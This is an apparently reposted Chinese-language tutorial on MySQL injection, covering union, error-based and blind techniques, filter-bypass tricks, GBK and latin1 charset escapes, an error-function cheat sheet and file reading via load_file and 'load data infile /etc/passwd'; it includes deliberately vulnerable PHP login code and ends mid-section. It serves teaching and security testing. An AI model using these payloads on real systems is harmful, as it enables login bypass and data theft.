1. 程式人生 > >對MYSQL注入相關內容及部分Trick的歸類小結

對MYSQL注入相關內容及部分Trick的歸類小結

前言

最近在給學校的社團成員進行web安全方面的培訓,由於在mysql注入這一塊知識點挺雜的,入門容易,精通較難,網上相對比較全的資料也比較少,大多都是一個比較散的知識點,所以我打算將我在學習過程中遇到的關於的mysql注入的內容給全部羅列出來,既方便個人之後的複習,也方便後人查詢相關資料。

本文部分內容可能會直接擷取其他大牛的文章,擷取的內容我都會進行宣告處理。如有侵權,請發email聯絡我(asp-php#foxmail.com)刪除。

本文首發於先知社群,轉載需註明來源+作者ID:Yunen。

Mysql簡介

在正式講解mysql注入的內容前,我認為還是有必要說明一下什麼是mysql、mysql的特點是什麼等內容,這些東西看起來可能對注入毫無幫助,開始卻能很好的幫助我們學習,融會貫通。

MySQL是一個關係型資料庫管理系統,由瑞典 MySQL AB 公司開發,目前屬於 Oracle 公司。MySQL 是一種關聯資料庫管理系統,關聯資料庫將資料儲存在不同的表中,而不是將所有資料放在一個大倉庫內,這樣就增加了速度並提高了靈活性。

  • MySQL是開源的,所以你不需要支付額外的費用。
  • MySQL使用標準的 SQL 資料語言形式。
  • MySQL可以運行於多個系統上,並且支援多種語言。這些程式語言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
  • MySQL對PHP有很好的支援,PHP 是目前最流行的 Web 開發語言。
  • MySQL支援大型資料庫,支援 5000 萬條記錄的資料倉庫,32 位系統表文件最大可支援 4GB,64 位系統支援最大的表文件為8TB。
  • MySQL是可以定製的,採用了 GPL 協議,你可以修改原始碼來開發自己的 MySQL 系統。

引自:Mysql教程 | 菜鳥教程

一個完整的mysql管理系統結構通常如下圖:

可以看到,mysql可以管理多個數據庫,一個數據庫可以包含多個數據表,而一個數據表有含有多條欄位,一行資料正是多個欄位同一行的一串資料。

什麼是SQL注入?

簡單的來說,SQL注入是開發者沒有對使用者的輸入資料進行嚴格的限制/轉義,致使使用者在輸入一些特定的字元時,在與後端設定的sql語句進行拼接時產生了歧義,使得使用者可以控制該條sql語句與資料庫進行通訊。

舉個例子:

<?php
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
    echo "success";
}else{
    echo "fail";
}
?>

上述程式碼將模擬一個web應用程式進行登入操作。若登入成功,則返回success,否則,返回fail。

通常正常使用者進行登入的sql語句為:

select * from users where username = '$username' and password='$password'

其中,變數$username 與變數$password為使用者可以控制的內容,正常情況下,使用者所輸入的內容在sql語義上都將作為字元錯,被賦值給前邊的欄位來當做整條select查詢語句的篩選條件。

若使用者輸入的$username為admin'#,$password為123。那麼拼接到sql語句中將得到如下結果:

select * from users where username = 'admin'#' and password='123'

這裡的#是單行註釋符,可以將後邊的內容給註釋掉。那麼此條語句的語義將發生了變化,使用者可以不需要判斷密碼,只需一個使用者名稱,即可完成登入操作,這與開發者的初衷相悖。

Mysql注入-入門

我們知道,在資料庫中,常見的對資料進行處理的操作有:增、刪、查、改這四種。

每一項操作都具有不同的作用,共同構成了對資料的絕大部分操作。

  • 增。顧名思義,也就是增加資料。在通用的SQL語句中,其簡單結構通常可概述為: INSERT table_name(columns_name) VALUES(new_values)
  • 刪。刪除資料。簡單結構為: DELETE table_name WHERE condition
  • 查。查詢語句可以說是絕大部分應用程式最常用到的SQL語句,他的作用就是查詢資料。其簡單結構為:SELECT columns_name FROM table_name WHERE condition
  • 改。有修改/更新資料。簡單結構為:UPDATE table_name SET column_name=new_value WHERE condition

PS:以上SQL語句中,系統關鍵字全部進行了大寫處理。

mysql的查詢語句完整格式如下:

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
      [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

通常注入點發生在where_condition處,並不是說唯有此處可以注入,其他的位置也可以,只是我們先將此處的注入當做例子來進行講解,之後會逐漸降到其他的位置該如何進行注入。

對於SELECT語句,我們通常分其為兩種情況:有回顯和無回顯。

有回顯

什麼叫有回顯?別急,我們來舉個例子。

當我們點選一篇文章閱讀時,其URL為read.php?id=1,我們可以很容易地猜出其SQL語句可能為select * from articles where id='$id'

這時候頁面將SQL語句返回的內容顯示在了頁面中(本例中是標題、內容、作者等資訊),這種情況就叫有回顯。

對於有回顯的情況來說,我們通常使用聯合查詢注入法。

聯合查詢注入

其作用就是,在原來查詢條件的基礎上,通過系統關鍵字union從而拼接上我們自己的select語句,後個select得到的結果將拼接到前個select的結果後邊。如:前個select得到2條資料,後個select得到1條資料,那麼後個select的資料將作為第3條拼接到第一個select返回的內容中,其欄位名將按照位置關係進行繼承。

如:正常查詢語句 union select columns_name from (database.)table_name where condition

這裡需要注意的是:

  • 若回顯僅支援一行資料的話,記得讓前邊正常的查詢語句返回的結果為空。
  • 使用union select進行拼接時,注意前後兩個select語句的返回的欄位數必須相同,否則無法拼接。

無回顯

什麼叫無回顯?之前舉得登入判斷就是一個無回顯的例子。如果SQL語句存在返回的資料,那麼頁面輸出為success,若不存在返回的資料,則輸出fail。

與有回顯情況不同的是:無回顯的頁面輸出內容並不是SQL語句返回的內容。

對於無回顯的情況,我們通常可用兩種方法進行注入:報錯注入與盲注。

報錯注入

什麼是報錯注入,簡單的說,就是有些特殊的函式,會在其報錯資訊裡可能會返回其引數的值。

我們可以利用這一特性,在其引數放入我們想要得到的資料,通常使用子查詢的方法實現,最後讓其報錯並輸出結果。

正常語句 (where | and) exp(~(select * from(select user())a));

正常語句 (where | and) updatexml(1,concat(0x7e,(select user()),0x7e),1);

盲注

若網站設定了無報錯資訊返回,那麼在不直接返回資料+不返回報錯資訊的情況下,盲注便幾乎成了最後一種直接注入取資料的方法了。

其中,盲注分成布林盲注和時間盲注。

布林盲注

對於布林盲注來說,其使用的場景在於:對真/假條件返回的內容很容易區分。

比如說,有這麼一條正常的select語句,我們再起where條件後邊加上and 1=2,我們知道,1永遠不等於2,那麼這個條件就是一個永假條件,我們使用and語句連上,那麼整個where部分就是永假的,這時候select語句是不會返回內容的。將其返回的內容與正常頁面進行對比,如果很容易區分的話,那麼布林盲注試用。

如:正常語句 (where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)

##### 時間盲注

相比較於布林盲注,時間盲注依賴於通過頁面返回的延遲時間來判斷條件是否正確。

使用場景:布林盲注永假條件所返回的內容與正常語句返回的內容很接近/相同,無法判斷情況。

簡單的來說,時間盲注就是,如果我們自定義的條件為假的話,我們讓其0延遲通過,如果條件為真的話,使用sleep()等函式,讓sql語句的返回產生延遲。

如:正常語句(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)

最後總結一下:

常見注入方法有三種:聯合查詢注入、報錯注入、盲注,其中:

  • 有回顯:三種均可使用,推薦使用聯合查詢注入。
  • 無回顯:報錯注入+盲注可用。

對於時間成本來說:聯合查詢注入<報錯注入<<盲注。

通常情況下,盲注需要一個一個字元的進行判斷。這極大的增加了時間成本,況且對於時間盲注來說,還需要額外的延遲時間來作為判斷的標準。

三大注入的基本步驟

聯合查詢注入步驟

1) 首先,先確定欄位數量。

使用order/group by語句。通過往後邊拼接數字,可確定欄位數量,若大於,則頁面錯誤/無內容,若小於或等於,則頁面正常。若錯誤頁與正常頁一樣,更換報錯注入/盲注。

2) 第二步,判斷頁面回顯資料的欄位位置。

使用union select 1,2,3,4,x... 我們定義的數字將顯示在頁面上,即可從中判斷頁面顯示的欄位位置。

注意:

  • 若確定頁面有回顯,但是頁面中並沒有我們定義的特殊標記數字出現,可能是頁面現在了單行資料輸出,我們讓前邊的select查詢條件返回結果為空即可。
  • 注意一定要拼接夠足夠的欄位數,否則SQL語句報錯。PS:此方法也可作為判斷前條select語句的方法之一。

3) 第三步,在顯示的欄位位置使用子查詢來查詢資料,或直接查詢也可。

首先,查詢當前資料庫名database()、資料庫賬號user()、資料庫版本version()等基本情況,再根據不同的版本、不同的許可權確定接下來的方法。

若Mysql版本<5.0

簡單的說,由於mysql的低版本缺乏系統庫information_schema,故通常情況下,我們無法直接查詢表名,欄位(列)名等資訊,這時候只能靠猜來解決。

直接猜表名與列名是什麼,甚至是庫名,再使用聯合查詢取資料。

若知道僅表名而不知道列(欄位)名:

可通過以下payload:

  • 若多欄位:select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)a
  • 若單欄位:select *,1,2,xxx from table_name
若Mysql版本>=5.0

首先去一個名為information_schema的資料庫裡的shemata資料表查詢全部資料庫名。

若不需要跨資料庫的話,可直接跳過此步驟,直接查詢相應的資料庫下的全部資料表名。

在information_schema的一個名為tables的資料表中存著全部的資料表資訊。

其中,table_name 欄位儲存其名稱,table_schema儲存其對應的資料庫名。

union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();

上述payload可檢視全部的資料表名,其中group_concat函式將多行資料轉成一行資料。

接著通過其表名,查詢該表的所有欄位名,有時也稱列名。

通過information_schema庫下的columns表可查詢對應的資料庫/資料庫表含有的欄位名。

Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此處的表名為字串型,也通過十六進位制表示

知道了想要的資料存放的資料庫、資料表、欄位名,直接聯合查詢即可。

Union select 1,2,column_name,4,xxx from (database_name.)table_name

簡單的說,查庫名->查表名->查欄位名->查資料

盲注步驟:

核心:利用邏輯代數連線詞/條件函式,讓頁面返回的內容/響應時間與正常的頁面不符。

布林盲注:

首先通過頁面對於永真條件or 1=1與永假條件and 1=2的返回內容是否存在差異進行判斷是否可以進行布林盲注。

如:select * from users where username=$username,其作用設定為判斷使用者名稱是否存在

通常僅返回存在/不存在,兩個結果。

這時候我們就不能使用聯合查詢法注入,因為頁面顯示SQL語句返回的內容,只能使用盲注法/報錯注入法來注出資料。

我們在將語句注入成:select * from users where username=$username or (condition)

若後邊拼接的條件為真的話,那麼整條語句的where區域將變成永真條件。

那麼,即使我們在$username處輸入的使用者名稱為一個鐵定不存在的使用者名稱,那麼返回的結果也仍然為存在。

利用這一特性,我們的condition為:length(database())>8 即可用於判斷資料庫名長度

除此之外,還可:ascii(substr(database(),1,1))<130 用二分法快速獲取資料名(逐字判斷)

payload如下:

select * from users where username=nouser or length(database())>8
select * from users where username=nouser or ascii(substr(database(),1,1))<130

時間盲注:

通過判斷頁面返回內容的響應時間差異進行條件判斷。

通常可利用的產生時間延遲的函式有:sleep()、benchmark(),還有許多進行復雜運算的函式也可以當做延遲的判斷標準、笛卡爾積合併資料表、GET_LOCK雙SESSION產生延遲等方法。

如上述例子:若伺服器在執行永真/永假條件並不直接返回兩個容易區分的內容時,利用時間盲注或許是個更好的辦法。

在上述語句中,我們拼接語句,變成:

select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1)

如果資料庫名的長度大於8,那麼if條件將執行sleep(3),那麼此條語句將進行延遲3秒的操作。

若小於或等於8,則if條件直接返回1,並與前邊的邏輯連線詞拼接,無延遲直接返回。通常的響應時間在0-1秒之內,與上種情況具有很容易區分的結果,可做條件判斷的依據。

報錯注入步驟:

通過特殊函式的錯誤使用使其引數被頁面輸出。

前提:伺服器開啟報錯資訊返回,也就是發生錯誤時返回報錯資訊。

常見的利用函式有:exp()、floor()+rand()、updatexml()、extractvalue()

如:select * from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)

因為updatexml函式的第二個引數需要滿足xpath格式,我們在其前後新增字元~,使其不滿足xpath格式,進行報錯並輸出。

將上述payload的(select user())當做聯合查詢法的注入位置,接下來的操作與聯合查詢法一樣。

注意:

  • 報錯函式通常尤其最長報錯輸出的限制,面對這種情況,可以進行分割輸出。
  • 特殊函式的特殊引數進執行一個欄位、一行資料的返回,使用group_concat等函式聚合資料即可。

增、刪、改

可簡單當做無回顯的Select語句進行注入。值得注意的是,通常增insert處的注入點在測試時會產生大量的垃圾資料,刪delete處的注入千萬要注意where條件不要為永真。

Mysql注入-進階

到目前為止,我們講了Mysql注入的基本入門,那麼接下來我將會花費大部分時間介紹我學習mysql注入遇到的一些知識點。

常見防禦手段繞過

在講繞過之前,我認為有必要先講講什麼是:過濾與攔截。

簡單的說就是:過濾指的是,我們輸入的部分內容在拼接SQL語句之前被程式刪除掉了,接著將過濾之後的內容拼接到SQL語句並繼續與資料庫通訊。而攔截指的是:若檢測到指定的內容存在,則直接返回攔截頁面,同時不會進行拼接SQL語句並與資料庫通訊的操作。

若程式設定的是過濾,則若過濾的字元不為單字元,則可以使用雙寫繞過。

舉個例子:程式過濾掉了union這一關鍵詞,我們可以使用ununionion來繞過。

PS:一般檢測方法都是利用的正則,注意觀察正則匹配時,是否忽略大小寫匹配,若不忽略,直接使用大小寫混搭即可繞過。

and/or 被過濾/攔截

  1. 雙寫anandd、oorr
  2. 使用運算子代替&&、||
  3. 直接拼接=號,如:?id=1=(condition)
  4. 其他方法,如:?id=1^(condition)

空格被過濾/攔截

  1. 多層括號巢狀
  2. 改用+號
  3. 使用註釋代替
  4. and/or後面可以跟上偶數個!、~可以替代空格,也可以混合使用(規律又不同),and/or前的空格可用省略
  5. %09, %0a, %0b, %0c, %0d, %a0等部分不可見字元可也代替空格

如:select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)

括號被過濾/攔截

  • order by 大小比較盲注

逗號被過濾/攔截

  1. 改用盲注
  2. 使用join語句代替
  3. substr(data from 1 for 1)相當於substr(data,1,1)limit 9 offset 4相當於limt 9,4

其他系統關鍵字被過濾/攔截

  1. 雙寫繞過關鍵字過濾
  2. 使用同義函式/語句代替,如if函式可用case when condition then 1 else 0 end語句代替。

單雙引號被過濾/攔截/轉義

  1. 需要跳出單引號的情況:嘗試是否存在編碼問題而產生的SQL注入。
  2. 不需要跳出單引號的情況:字串可用十六進位制表示、也可通過進位制轉換函式表示成其他進位制。

數字被過濾/攔截

下表摘自MySQL注入技巧

代替字元 代替字元 數、字 代替字元 數、字
false、!pi() 0 ceil(pi()*pi()) 10|A ceil((pi()+pi())*pi()) 20|K
true、!(!pi()) 1 ceil(pi()*pi())+true 11|B ceil(ceil(pi())*version()) 21|L
true+true 2 ceil(pi()+pi()+version()) 12|C ceil(pi()*ceil(pi()+pi())) 22|M
floor(pi())、~~pi() 3 floor(pi()*pi()+pi()) 13|D ceil((pi()+ceil(pi()))*pi()) 23|N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14|E ceil(pi())*ceil(version()) 24|O
floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15|F floor(pi()*(version()+pi())) 25|P
ceil(version()) 6 floor(pi()*version()) 16|G floor(version()*version()) 26|Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17|H ceil(version()*version()) 27|R
floor(version()+pi()) 8 ceil(pi()*version())+true 18|I ceil(pi()pi()pi()-pi()) 28|S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19|J floor(pi()pi()floor(pi())) 29|T

編碼轉換產生的問題

寬位元組注入

什麼是寬位元組注入?下面舉個例子來告訴你。

<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
echo $sql.'<br>';
if($rs->fetch_row()){
    echo "success";
}else{
    echo "fail";
}
?>

還是開頭的例子,只不過加了點料。

$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);

addslashes函式將會把POST接收到的username與password的部分字元進行轉義處理。如下:

  • 字元'、"、\前邊會被新增上一條反斜槓\作為轉義字元。
  • 多個空格被過濾成一個空格。

這使得我們原本的payload被轉義成如下:

select * from users where username = 'admin\'#' and password='123';

注意:我們輸入的單引號被轉義掉了,此時SQL語句的功能是:查詢使用者名稱為admin'#且密碼為123的使用者。

但是我們注意到,在拼接SQL語句並與資料庫進行通訊之前,我們執行了這麼一條語句:

$conn->query("set names 'gbk';");

其作用相當於:

mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';

當我們輸入的資料為:username=%df%27or%201=1%23&password=123

經過addslashes函式處理最終變成:username=%df%5c%27or%201=1%23&password=123

經過gbk解碼得到:username=運'or 1=1#password=123,拼接到SQL語句得:

select * from users where username = '運'or 1=1#' and password='123';

成功跳出了addslashes的轉義限制。

具體解釋

前邊提到:set names 'gbk';相當於執行了如下操作:

mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';

那麼此時在SQL語句在與資料庫進行通訊時,會先將SQL語句進行對應的character_set_client所設定的編碼進行轉碼,本例是gbk編碼。

由於PHP的編碼為UTF-8,我們輸入的內容為%df%27,會被當做是兩個字元,其中%27為單引號'

經過函式addslashes處理變成%df%5c%27%5c為反斜線\

在經過客戶端層character_set_client編碼處理後變成:運',成功將反斜線給“吞”掉了,使單引號逃逸出來。

Latin1預設編碼

講完了gbk造成的編碼問題,我們再講講latin1造成的編碼問題。

老樣子,先舉個例子。

<?php
//該程式碼節選自:離別歌's blog
$mysqli = new mysqli("localhost", "root", "root", "cat");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

$mysqli->query("set names utf8");

$username = addslashes($_GET['username']);

//我們在其基礎上新增這麼一條語句。
if($username === 'admin'){
    die("You can't do this.");
}

/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";

if ($result = $mysqli->query( $sql )) {
    printf("Select returned %d rows.\n", $result->num_rows);

    while ($row = $result->fetch_array(MYSQLI_ASSOC))
    {
        var_dump($row);
    }

    /* free result set */
    $result->close();
} else {
    var_dump($mysqli->error);
}

$mysqli->close();
?>

建表語句如下:

CREATE TABLE `table1` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(255) COLLATE latin1_general_ci NOT NULL,
  `password` varchar(255) COLLATE latin1_general_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;

我們設定表的編碼為latin1,事實上,就算你不填寫,預設編碼便是latin1。

我們往表中新增一條資料:insert table1 VALUES(1,'admin','admin');

注意檢視原始碼:

if($username === 'admin'){
    die("You can't do this.");
}

我們對使用者的輸入進行了判斷,若輸入內容為admin,直接結束程式碼輸出返回,並且還對輸出的內容進行addslashes處理,使得我們無法逃逸出單引號。

這樣的話,我們該怎樣繞過這個限制,讓頁面輸出admin的資料呢?

我們注意到:$mysqli->query("set names utf8");這麼一行程式碼,在連線到資料庫之後,執行了這麼一條SQL語句。

上邊在gbk寬位元組注入的時候講到過:set names utf8;相當於:

mysql>SET character_set_client ='utf8';
mysql>SET character_set_results ='utf8';
mysql>SET character_set_connection ='utf8';

前邊說道:PHP的編碼是UTF-8,而我們現在設定的也是UTF-8,怎麼會產生問題呢?

彆著急,讓我接著往下說。前邊我們提到:SQL語句會先轉成character_set_client設定的編碼。但,他接下來還會繼續轉換。character_set_client客戶端層轉換完畢之後,資料將會交給character_set_connection連線層處理,最後在從character_set_connection轉到資料表的內部操作字符集。

來本例中,字符集的轉換為:UTF-8—>UTF-8->Latin1

這裡需要講一下UTF-8編碼的一些內容。

UTF-8編碼是變長編碼,可能有1~4個位元組表示:

  1. 一位元組時範圍是[00-7F]
  2. 兩位元組時範圍是[C0-DF][80-BF]
  3. 三位元組時範圍是[E0-EF][80-BF][80-BF]
  4. 四位元組時範圍是[F0-F7][80-BF][80-BF][80-BF]

然後根據RFC 3629規範,又有一些位元組值是不允許出現在UTF-8編碼中的:

所以最終,UTF-8第一位元組的取值範圍是:00-7F、C2-F4。

關於所有的UTF-8字元,你可以在這個表中一一看到: http://utf8-chartable.de/unicode-utf8-table.pl

引自:Mysql字元編碼利用技巧

利用這一特性,我們輸入:?username=admin%c2%c2是一個Latin1字符集不存在的字元。

由上述,可以簡單的知道:%00-%7F可以直接表示某個字元、%C2-%F4不可以直接表示某個字元,他們只是其他長位元組編碼結果的首位元組。

但是,這裡還有一個Trick:Mysql所使用的UTF-8編碼是閹割版的,僅支援三個位元組的編碼。所以說,Mysql中的UTF-8字符集只有最大三位元組的字元,首位元組範圍:00-7F、C2-EF

而對於不完整的長位元組UTF-8編碼的字元,若進行字符集轉換時,會直接進行忽略處理。

利用這一特性,我們的payload為?username=admin%c2,此處的%c2換為%c2-%ef均可。

SELECT * FROM `table1` WHERE username='admin'

因為admin%c2在最後一層的內部操作字符集轉換中變成admin

報錯注入原理

我們前邊說到,報錯注入是通過特殊函式錯誤使用並使其輸出錯誤結果來獲取資訊的。

那麼,我們具體來說說,都有哪些特殊函式,以及他們都該怎麼使用。

MySQL的報錯注入主要是利用MySQL的一些邏輯漏洞,如BigInt大數溢位等,由此可以將MySQL報錯注入分為以下幾類:

  • BigInt等資料型別溢位
  • 函式引數格式錯誤
  • 主鍵/欄位重複

exp()

函式語法:exp(int)

適用版本:5.5.5~5.5.49

該函式將會返回e的x次方結果。正常如下圖:

為什麼會報錯呢?我們知道,次方到後邊每增加1,其結果都將跨度極大,而mysql能記錄的double數值範圍有限,一旦結果超過範圍,則該函式報錯。如下圖:

我們的payload為:exp(~(select * from(select user())a))

其中,~符號為運算子,意思為一元字元反轉,通常將字串經過處理後變成大整數,再放到exp函式內,得到的結果將超過mysql的double陣列範圍,從而報錯輸出。至於為什麼需要用兩層子查詢,這點我暫時還沒有弄明白,歡迎有了解的大牛找我討論: )

除了exp()之外,還有類似pow()之類的相似函式同樣是可利用的,他們的原理相同。

updatexml()

函式語法:updatexml(XML_document, XPath_string, new_value);

適用版本: 5.1.5+

我們通常在第二個xpath引數填寫我們要查詢的內容。

與exp()不同,updatexml是由於引數的格式不正確而產生的錯誤,同樣也會返回引數的資訊。

payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)

前後新增~使其不符合xpath格式從而報錯。

extractvalue()

函式語法:EXTRACTVALUE (XML_document, XPath_string);

適用版本:5.1.5+

利用原理與updatexml函式相同

payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

rand()+group()+count()

虛擬表報錯原理:簡單來說,是由於where條件每執行一次,rand函式就會執行一次,如果在由於在統計資料時判斷依據不能動態改變,故rand()不能後接在order/group by上。

舉一個例子:假設user表有三條資料,我們通過:select * from user group by username 來通過其中的username欄位進行分組。

此過程會先建立一個虛擬表,存在兩個欄位:key,count

其中我們通過username來判斷,其在此處是欄位,首先先取第一行的資料:username=test&password=test

username為test出現一次,則現在虛表內查詢是否存在test,若存在,則count+1,若不存在,則新增test,其count為1。

對於floor(rand(0)*2),其中rand()函式,會生成0~1之間隨機一個小數、floor()取整數部分、0是隨機因子、乘2是為了讓大於0.5的小數通過floor函式得1,否則永遠為0。

若表中有三行資料:我們通過select * from user group by floor(rand(0)*2)進行排序的話。

注意,由於rand(0)的隨機因子是被固定的,故其產生的隨機數也被固定了,順序為:011011…

首先group by需要執行的話,需要確定分組因子,故floor(rand(0)*2)被執行一次,得到的結果為0,接著在虛表內檢索0,發現虛表沒有鍵值為0的記錄,故新增上,在進行新增時:floor(rand(0)*2)第二次被執行,得到結果1,故虛表插入的內容為key=1&count=1

第二次執行group by時:floor(rand(0)*2)先被執行一次,也就是第三次執行。得到結果1,查詢虛表發現數據存在,因而直接讓虛表內的key=1的count加一即可,floor(..)只運行了一次。

第三次執行group by時,floor被執行第四次,得到結果0,查詢虛表不存在。再插入虛表時,floor(…)被執行第五次,得到結果1,故此時虛表將插入的值為key=1&count=1,注意,此時虛表已有一條記錄為:key=1&count=2,並且欄位key為主鍵,具有不可重複性,故虛表在嘗試插入時將產生錯誤。

圖文:

1.查詢前預設會建立空虛擬表如下圖:

2.取第一條記錄,執行floor(rand(0)2),發現結果為0(第一次計算),查詢虛擬表,發現0的鍵值不存在,則floor(rand(0)2)會被再計算一次,結果為1(第二次計算),插入虛表,這時第一條記錄查詢完畢,如下圖:

\3.查詢第二條記錄,再次計算floor(rand(0)2),發現結果為1(第三次計算),查詢虛表,發現1的鍵值存在,所以floor(rand(0)2)不會被計算第二次,直接count(*)加1,第二條記錄查詢完畢,結果如下:

4.查詢第三條記錄,再次計算floor(rand(0)2),發現結果為0(第4次計算),查詢虛表,發現鍵值沒有0,則資料庫嘗試插入一條新的資料,在插入資料時floor(rand(0)2)被再次計算,作為虛表的主鍵,其值為1(第5次計算),然而1這個主鍵已經存在於虛擬表中,而新計算的值也為1(主鍵鍵值必須唯一),所以插入的時候就直接報錯了。

5.整個查詢過程floor(rand(0)*2)被計算了5次,查詢原資料表3次,所以這就是為什麼資料表中需要3條資料,使用該語句才會報錯的原因。

引自:——Mysql報錯注入原理分析(count()、rand()、group by)

payload用法: union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

幾何函式

  • GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
  • polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
  • multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
  • multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
  • linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在的函式

隨便適用一顆不存在的函式,可能會得到當前所在的資料庫名稱。

Bigint數值操作:

當mysql資料庫的某些邊界數值進行數值運算時,會報錯的原理。

如~0得到的結果:18446744073709551615

若此數參與運算,則很容易會錯誤。

payload: select !(select * from(select user())a)-~0;

name_const()

僅可取資料庫版本資訊

payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a

uuid相關函式

適用版本:8.0.x

引數格式不正確。

mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

join using()注列名

通過系統關鍵詞join可建立兩個表之間的內連線。

通過對想要查詢列名的表與其自身建議內連線,會由於冗餘的原因(相同列名存在),而發生錯誤。

並且報錯資訊會存在重複的列名,可以使用 USING 表示式宣告內連線(INNER JOIN)條件來避免報錯。

mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b using(username,password))c

GTID相關函式

引數格式不正確。

mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);

報錯函式速查表

注:預設MYSQL_ERRMSG_SIZE=512

類別 函式 版本需求 5.5.x 5.6.x 5.7.x 8.x 函式顯錯長度 Mysql報錯內容長度 額外限制
主鍵重複 floor round ✔️ ✔️ ✔️ 64 data_type ≠ varchar
列名重複 name_const ✔️ ✔️ ✔️ ✔️ only version()
列名重複 join [5.5.49, ?) ✔️ ✔️ ✔️ ✔️ only columns
資料溢位 - Double 1e308 cot exp pow [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
資料溢位 - BIGINT 1+~0 [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
幾何物件 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] ✔️ 244
空間函式 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) ✔️ ✔️ 128
GTID gtid_subset gtid_subtract [5.6.5, ?) ✔️ ✔️ ✔️ 200
JSON json_* [5.7.8, 5.7.11] ✔️ 200
UUID uuid_to_bin bin_to_uuid [8.0, ?) ✔️ 128
XPath extractvalue updatexml [5.1.5, ?) ✔️ ✔️ ✔️ ✔️ 32

摘自——Mysql 注入基礎小結

檔案讀/寫

我們知道Mysql是很靈活的,它支援檔案讀/寫功能。在講這之前,有必要介紹下什麼是file_privsecure-file-priv

簡單的說:file_priv是對於使用者的檔案讀寫許可權,若無許可權則不能進行檔案讀寫操作,可通過下述payload查詢許可權。

select file_priv from mysql.user where user=$USER host=$HOST;

secure-file-priv是一個系統變數,對於檔案讀/寫功能進行限制。具體如下:

  • 無內容,表示無限制。
  • 為NULL,表示禁止檔案讀/寫。
  • 為目錄名,表示僅允許對特定目錄的檔案進行讀/寫。

注:5.5.53本身及之後的版本預設值為NULL,之前的版本無內容。

三種方法檢視當前secure-file-priv的值:

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

修改:

  • 通過修改my.ini檔案,新增:secure-file-priv=
  • 啟動項新增引數:mysqld.exe --secure-file-priv=

Mysql讀取檔案通常使用load_file函式,語法如下:

select load_file(file_path);

第二種讀檔案的方法:

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #讀取服務端檔案

第三種:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #讀取客戶端檔案

限制:

